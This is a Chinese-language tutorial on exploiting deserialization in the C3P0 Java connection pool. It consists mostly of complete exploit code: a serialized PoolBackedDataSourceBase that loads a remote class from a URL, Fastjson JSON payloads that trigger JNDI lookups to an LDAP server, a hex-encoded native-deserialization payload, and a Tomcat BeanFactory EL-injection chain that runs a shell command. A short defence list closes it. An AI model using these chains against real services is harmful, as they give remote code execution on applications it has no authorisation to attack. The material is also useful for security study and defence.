小白也能学会的C3P0反序列化
字数 2289
更新时间 2026-03-12 12:50:53
C3P0反序列化漏洞利用技术详解
1. 前言
C3P0是一个开源的JDBC连接池,被Hibernate、Spring等开源项目广泛使用。连接池技术的目的是复用数据库连接句柄,避免频繁创建和销毁连接带来的资源消耗。本文主要讲解针对C3P0连接池的反序列化漏洞利用技术,涵盖了多种攻击场景和方法。
2. 环境搭建
要搭建测试环境,需要在项目中添加C3P0的Maven依赖:
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
3. 三种主要利用方式
3.1 反序列化+URLClassLoader远程加载任意类
3.1.1 利用链
PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject -> URLClassLoader动态加载字节码
3.1.2 利用链分析
-
序列化过程:
- 利用点在
PoolBackedDataSourceBase类的writeObject和readObject方法 - 在
writeObject()中,首先尝试序列化connectionPoolDataSource属性 - 由于
connectionPoolDataSource类型不可序列化,进入catch块 - 实例化
ReferenceIndirector对象,调用其indirectForm()方法 - 在
indirectForm()中,通过connectionPoolDataSource的getReference()获取Reference对象 - 将
Reference对象包装为ReferenceSerialized对象并序列化
- 利用点在
-
关键点:
- 需要创建一个实现
Referenceable和ConnectionPoolDataSource接口的类 - 重写
getReference方法,实例化一个Reference对象 - 控制
Reference对象的classFactory和classFactoryLocation参数
- 需要创建一个实现
-
反序列化过程:
- 在
PoolBackedDataSourceBase#readObject()中调用getObject方法 - 触发
ReferenceSerialized#getObject - 进入
ReferenceableUtils#referenceToObject() - 最终通过
URLClassLoader加载并实例化远程恶意类
- 在
3.1.3 完整EXP代码
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class c3pclassloaderdemo {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
f1.setAccessible(true);
f1.set(a,new evil());
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
ser.writeObject(a);
ser.close();
ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
unser.readObject();
unser.close();
}
public static class evil implements ConnectionPoolDataSource, Referenceable {
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
public Reference getReference() throws NamingException {
return new Reference("exploit", "com.mchange.v2.naming.JavaBeanObjectFactory",
"http://127.0.0.1:9999/");
}
}
}
3.1.4 恶意类加载示例
import java.net.URL;
import java.net.URLClassLoader;
public class demo {
public static void main(String[] args) throws Exception {
URL url = new URL("http://127.0.0.1:9999/");
URLClassLoader loader = new URLClassLoader(new URL[]{url}, demo.class.getClassLoader());
Class clazz = Class.forName("test", true, loader);
Object instance = clazz.newInstance();
System.out.println(instance);
}
}
3.2 JNDI注入
3.2.1 利用链
JndiRefConnectionPoolDataSource#setLoginTimeout ->
WrapperConnectionPoolDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
3.2.2 利用链分析
-
触发点:
JndiRefForwardingDataSource类的dereference()方法中的lookup()方法 -
调用路径:
- 从
JndiRefConnectionPoolDataSource#setLoginTimeout()开始 - 调用
WrapperConnectionPoolDataSource#setLoginTimeout - 通过
getNestedDataSource()生成JndiRefForwardingDataSource对象 - 调用
JndiRefForwardingDataSource#setLoginTimeout() - 最终触发
inner()方法调用dereference()
- 从
-
限制条件:受到JDK版本限制
3.2.3 Fastjson环境POC
import com.alibaba.fastjson.JSON;
public class JNDIDemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1389/eee\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
3.2.4 直接调用示例
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
public class C3P02 {
public static void main(String[] args) throws Exception {
JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
exp.setJndiName("ldap://127.0.0.1:1389/eee");
exp.setLoginTimeout(1);
}
}
3.3 利用HEX字符串进行反序列化攻击
3.3.1 利用条件
- 需要存在反序列化漏洞的组件,如Fastjson、SnakeYAML等
- 适合不出网环境利用
- 当
userOverridesAsString属性可控时触发
3.3.2 利用链分析
-
触发点:
setUserOverridesAsString方法 -
处理流程:
- 当
userOverridesAsString不为空时进入if判断 - 使用
substring去除HexAsciiSerializedMap:头和最后一位 - 将十六进制字符串转换为字节数组
- 调用
fromByteArray()方法 - 最终在
deserializeFromByteArray中触发原生反序列化
- 当
-
关键方法:
C3P0ImplUtils.parseUserOverridesAsString
3.3.3 POC示例
import com.alibaba.fastjson.JSON;
public class HEXdemo {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED00057372002E6A617661...\"" +
"}";
JSON.parse(payload);
}
}
4. 不出网利用
4.1 利用原理
- 不依赖出网条件
- 需要目标存在Tomcat8相关依赖
- 利用
ReferenceableUtils#referenceToObject()中的getObjectInstance()方法 - 通过Tomcat8中的
org.apache.naming.factory.BeanFactory进行EL表达式注入
4.2 依赖要求
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
4.3 技术实现
- 利用本地
BeanFactory类进行EL表达式注入 - 将利用方式一中的
getReference()改为EL表达式 - 通过
ResourceRef设置恶意EL表达式
4.4 POC示例
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class nowebBeafactory {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
f1.setAccessible(true);
f1.set(a, new evil());
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
ser.writeObject(a);
ser.close();
ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
unser.readObject();
unser.close();
}
public static class evil implements ConnectionPoolDataSource, Referenceable {
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"Runtime.getRuntime().exec('open -a Calculator.app')"));
return ref;
}
}
}
5. 防御建议
- 及时更新C3P0到最新版本
- 避免不可信数据反序列化
- 限制网络出站连接
- 使用安全的JDK版本
- 对用户输入进行严格过滤和校验
- 使用安全的序列化框架
6. 总结
C3P0反序列化漏洞提供了多种攻击路径,攻击者可以根据目标环境选择不同的利用方式:
- 出网环境:可使用URLClassLoader远程加载或JNDI注入
- 不出网环境:可使用HEX字符串反序列化或本地BeanFactory的EL表达式注入
- 需要根据目标的具体依赖和环境选择最合适的攻击方式
每种利用方式都有其特定的触发条件和依赖要求,在实际渗透测试中需要根据目标环境灵活选择。
相似文章
相似文章